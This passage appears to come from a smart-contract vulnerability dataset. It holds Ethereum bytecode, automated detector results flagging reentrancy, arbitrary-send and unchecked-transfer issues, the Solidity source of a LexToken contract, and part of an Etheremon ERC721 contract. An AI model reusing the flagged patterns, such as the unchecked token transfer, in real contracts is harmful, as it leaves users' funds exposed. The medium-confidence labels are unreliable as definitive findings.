082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c41e0b2bef3b345efed4ebdde5c19d501d634be34a03535f0d3c4e4530355ea864736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,168 |
0xb06f4541ff8286a21a5927eac3c504154c2f6def
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, address indexed resolver, string details);
event UpdateSale(uint256 saleRate, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(_manager, _managerSupply);
_mint(address(this), _saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
emit UpdateGovernance(_manager, _resolver, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), _saleSupply);
emit UpdateSale(_saleRate, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == value.length, "!token/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withrawTo, withdrawalValue);
}
}
}
|
0x6080604052600436106101d15760003560e01c806353571325116100f75780637ecebe00116100955780639d08303f116100645780639d08303f14610ae7578063a9059cbb14610b82578063bb102aea14610bbb578063d505accf14610bd0576102cd565b80637ecebe00146109f6578063911b728a14610a2957806392ff0d3114610abd57806395d89b4114610ad2576102cd565b806361228551116100d157806361228551146107f257806361d3458f146108cc57806370a08231146108f85780637c88e3d91461092b576102cd565b8063535713251461076a57806355b6ed5c146107a2578063565974d3146107dd576102cd565b8063313ce5671161016f57806340c10f191161013e57806340c10f19146106dd57806342966c6814610716578063466ccac014610740578063481c6a7514610755576102cd565b8063313ce567146105bd5780633644e515146105e85780633b3e672f146105fd57806340557cf1146106c8576102cd565b806318160ddd116101ab57806318160ddd146103da5780631850f7661461040157806323b872dd1461056557806330adf81f146105a8576102cd565b806304f3bcec146102d257806306fdde0314610303578063095ea7b31461038d576102cd565b366102cd5760095460ff16610218576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610265576040519150601f19603f3d011682016040523d82523d6000602084013e61026a565b606091505b50509050806102ab576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102ca30336102c560025434610c2e90919063ffffffff16565b610c5e565b50005b600080fd5b3480156102de57600080fd5b506102e7610d0c565b604080516001600160a01b039092168252519081900360200190f35b34801561030f57600080fd5b50610318610d1b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035257818101518382015260200161033a565b50505050905090810190601f16801561037f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039957600080fd5b506103c6600480360360408110156103b057600080fd5b506001600160a01b038135169060200135610da9565b604080519115158252519081900360200190f35b3480156103e657600080fd5b506103ef610e27565b60408051918252519081900360200190f35b34801561040d57600080fd5b50610563600480360361018081101561042557600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b81111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460018302840111600160201b831117156104ae57600080fd5b919390929091602081019035600160201b8111156104cb57600080fd5b8201836020820111156104dd57600080fd5b803590602001918460018302840111600160201b831117156104fe57600080fd5b919390929091602081019035600160201b81111561051b57600080fd5b82018360208201111561052d57600080fd5b803590602001918460018302840111600160201b8311171561054e57600080fd5b91935091508035151590602001351515610e2d565b005b34801561057157600080fd5b506103c66004803603606081101561058857600080fd5b506001600160a01b0381358116916020810135909116906040013561106b565b3480156105b457600080fd5b506103ef61110a565b3480156105c957600080fd5b506105d261112e565b6040805160ff9092168252519081900360200190f35b3480156105f457600080fd5b506103ef61113e565b34801561060957600080fd5b506105636004803603604081101561062057600080fd5b810190602081018135600160201b81111561063a57600080fd5b82018360208201111561064c57600080fd5b803590602001918460208302840111600160201b8311171561066d57600080fd5b919390929091602081019035600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b509092509050611144565b3480156106d457600080fd5b506103ef611223565b3480156106e957600080fd5b506105636004803603604081101561070057600080fd5b506001600160a01b038135169060200135611229565b34801561072257600080fd5b506105636004803603602081101561073957600080fd5b5035611281565b34801561074c57600080fd5b506103c66112f6565b34801561076157600080fd5b506102e76112ff565b34801561077657600080fd5b506105636004803603606081101561078d57600080fd5b5080359060208101359060400135151561130e565b3480156107ae57600080fd5b506103ef600480360360408110156107c557600080fd5b506001600160a01b03813581169160200135166113b6565b3480156107e957600080fd5b506103186113d3565b3480156107fe57600080fd5b506105636004803603608081101561081557600080fd5b810190602081018135600160201b81111561082f57600080fd5b82018360208201111561084157600080fd5b803590602001918460208302840111600160201b8311171561086257600080fd5b919390926001600160a01b0383351692604081019060200135600160201b81111561088c57600080fd5b82018360208201111561089e57600080fd5b803590602001918460208302840111600160201b831117156108bf57600080fd5b919350915035151561142e565b3480156108d857600080fd5b50610563600480360360208110156108ef57600080fd5b5035151561162a565b34801561090457600080fd5b506103ef6004803603602081101561091b57600080fd5b50356001600160a01b03166116c5565b34801561093757600080fd5b506105636004803603604081101561094e57600080fd5b810190602081018135600160201b81111561096857600080fd5b82018360208201111561097a57600080fd5b803590602001918460208302840111600160201b8311171561099b57600080fd5b919390929091602081019035600160201b8111156109b857600080fd5b8201836020820111156109ca57600080fd5b803590602001918460208302840111600160201b831117156109eb57600080fd5b5090925090506116d7565b348015610a0257600080fd5b506103ef60048036036020811015610a1957600080fd5b50356001600160a01b03166117ab565b348015610a3557600080fd5b5061056360048036036060811015610a4c57600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b811115610a7f57600080fd5b820183602082011115610a9157600080fd5b803590602001918460018302840111600160201b83111715610ab257600080fd5b5090925090506117bd565b348015610ac957600080fd5b506103c66118be565b348015610ade57600080fd5b506103186118cd565b348015610af357600080fd5b5061056360048036036080811015610b0a57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b811115610b4457600080fd5b820183602082011115610b5657600080fd5b803590602001918460018302840111600160201b83111715610b7757600080fd5b509092509050611928565b348015610b8e57600080fd5b506103c660048036036040811015610ba557600080fd5b506001600160a01b0381351690602001356119e5565b348015610bc757600080fd5b506103ef611a40565b348015610bdc57600080fd5b50610563600480360360e0811015610bf357600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611a46565b600082610c3d57506000610c58565b82820282848281610c4a57fe5b0414610c5557600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610c819082611c2a565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610cb09082611c3f565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001546001600160a01b031681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610da15780601f10610d7657610100808354040283529160200191610da1565b820191906000526020600020905b815481529060010190602001808311610d8457829003601f168201915b505050505081565b6000811580610dd95750336000908152600a602090815260408083206001600160a01b0387168452909152902054155b610e13576040805162461bcd60e51b8152602060048201526006602482015265085c995cd95d60d21b604482015290519081900360640190fd5b610e1e338484611c51565b50600192915050565b60035481565b600954610100900460ff1615610e78576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8e6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508d600160006101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600160146101000a81548160ff021916908360ff1602179055508a60028190555088600481905550878760069190610eff929190611d90565b50610f0c60078787611d90565b50610f1960088585611d90565b506009805461010060ff199091168415151761ff0019161762ff000019166201000083151502179055610f4c8f8d611cb3565b610f56308b611cb3565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60076040518082805460018160011615610100020316600290048015610fd95780601f10610fb7576101008083540402835291820191610fd9565b820191906000526020600020905b815481529060010190602001808311610fc5575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c090940190945250508051910120600555505050505050505050505050505050565b60095460009062010000900460ff166110bb576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a60209081526040808320338085529252909120546110f59186916110f09086611c2a565b611c51565b611100848484610c5e565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600154600160a01b900460ff1681565b60055481565b828114611184576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166111d1576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b8381101561121c57611214338686848181106111ec57fe5b905060200201356001600160a01b031685858581811061120857fe5b90506020020135610c5e565b6001016111d4565b5050505050565b60025481565b6000546001600160a01b03163314611273576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61127d8282611cb3565b5050565b336000908152600b602052604090205461129b9082611c2a565b336000908152600b60205260409020556003546112b89082611c2a565b60035560408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611358576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60028390556009805460ff19168215151790556113753083611cb3565b60408051848152821515602082015281517f97aa7a405c29762bd95d113c625902c62efe61b8341e7c1bed796131464c28c9929181900390910190a1505050565b600a60209081526000928352604080842090915290825290205481565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610da15780601f10610d7657610100808354040283529160200191610da1565b6000546001600160a01b03163314611478576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8482146114bb576040805162461bcd60e51b815260206004820152600c60248201526b21746f6b656e2f76616c756560a01b604482015290519081900360640190fd5b60005b858110156116215760008484838181106114d457fe5b905060200201359050821561157a578787838181106114ef57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561154b57600080fd5b505afa15801561155f573d6000803e3d6000fd5b505050506040513d602081101561157557600080fd5b505190505b87878381811061158657fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb87836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156115ec57600080fd5b505af1158015611600573d6000803e3d6000fd5b505050506040513d602081101561161657600080fd5b5050506001016114be565b50505050505050565b6000546001600160a01b03163314611674576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b600b6020526000908152604090205481565b6000546001600160a01b03163314611721576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611761576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561121c576117a385858381811061177b57fe5b905060200201356001600160a01b031684848481811061179757fe5b90506020020135611cb3565b600101611764565b600c6020526000908152604090205481565b6000546001600160a01b03163314611807576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b031992831617909255600180549286169290911691909117905561184360068383611d90565b50826001600160a01b0316846001600160a01b03167fd0b60f2424ea7f9f25a7c3807b8f5dddf838f21392146767ef2b94b7ee05abaa848460405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a350505050565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610da15780601f10610d7657610100808354040283529160200191610da1565b6001546001600160a01b03163314611973576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b61197e858585610c5e565b7f2300458c226dc8bc320a2de9b3f0bad71b9de712d449c7f114d73884e25b2feb828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a15050505050565b60095460009062010000900460ff16611a35576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e1e338484610c5e565b60045481565b83421115611a85576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060055461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611ba2573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611bd85750896001600160a01b0316816001600160a01b0316145b611c13576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611c1e8a8a8a611c51565b50505050505050505050565b600082821115611c3957600080fd5b50900390565b600082820183811015610c5557600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600454600354611cc39083611c3f565b1115611cff576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b6020526040902054611d229082611c3f565b6001600160a01b0383166000908152600b6020526040902055600354611d489082611c3f565b6003556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611dc65760008555611e0c565b82601f10611ddf5782800160ff19823516178555611e0c565b82800160010185558215611e0c579182015b82811115611e0c578235825591602001919060010190611df1565b50611e18929150611e1c565b5090565b5b80821115611e185760008155600101611e1d56fea2646970667358221220b657f38edf2ee94a57a01a573e2811ba57e1459d84639fd5f8508d91cedc79bd64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,169 |
0xb2c0782ae4a299f7358758b2d15da9bf29e1dd99
|
pragma solidity ^0.4.18;
// Etheremon ERC721
// copyright contact@Etheremon.com
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
// write
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode);
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
// read
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
interface EtheremonBattle {
function isOnBattle(uint64 _objId) constant external returns(bool);
}
interface EtheremonTradeInterface {
function isOnTrading(uint64 _objId) constant external returns(bool);
}
contract ERC721 {
// ERC20 compatible functions
// function name() constant returns (string name);
// function symbol() constant returns (string symbol);
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
// Functions that define ownership
function ownerOf(uint256 _tokenId) public constant returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function takeOwnership(uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant returns (uint tokenId);
// Token metadata
//function tokenMetadata(uint256 _tokenId) constant returns (string infoUrl);
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract EtheremonAsset is BasicAccessControl, ERC721 {
string public constant name = "EtheremonAsset";
string public constant symbol = "EMONA";
mapping (address => mapping (uint256 => address)) public allowed;
// data contract
address public dataContract;
address public battleContract;
address public tradeContract;
// helper struct
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
// modifier
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireBattleContract {
require(battleContract != address(0));
_;
}
modifier requireTradeContract {
require(tradeContract != address(0));
_;
}
function EtheremonAsset(address _dataContract, address _battleContract, address _tradeContract) public {
dataContract = _dataContract;
battleContract = _battleContract;
tradeContract = _tradeContract;
}
function setContract(address _dataContract, address _battleContract, address _tradeContract) onlyModerators external {
dataContract = _dataContract;
battleContract = _battleContract;
tradeContract = _tradeContract;
}
// public
function totalSupply() public constant requireDataContract returns (uint256 supply){
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.totalMonster();
}
function balanceOf(address _owner) public constant requireDataContract returns (uint balance) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.getMonsterDexSize(_owner);
}
function ownerOf(uint256 _tokenId) public constant requireDataContract returns (address owner) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
return obj.trainer;
}
function isApprovable(address _owner, uint256 _tokenId) public constant requireDataContract requireBattleContract requireTradeContract returns(bool) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
if (obj.monsterId != uint64(_tokenId))
return false;
if (obj.trainer != _owner)
return false;
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
return (!battle.isOnBattle(obj.monsterId) && !trade.isOnTrading(obj.monsterId));
}
function approve(address _to, uint256 _tokenId) requireBattleContract requireTradeContract isActive external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
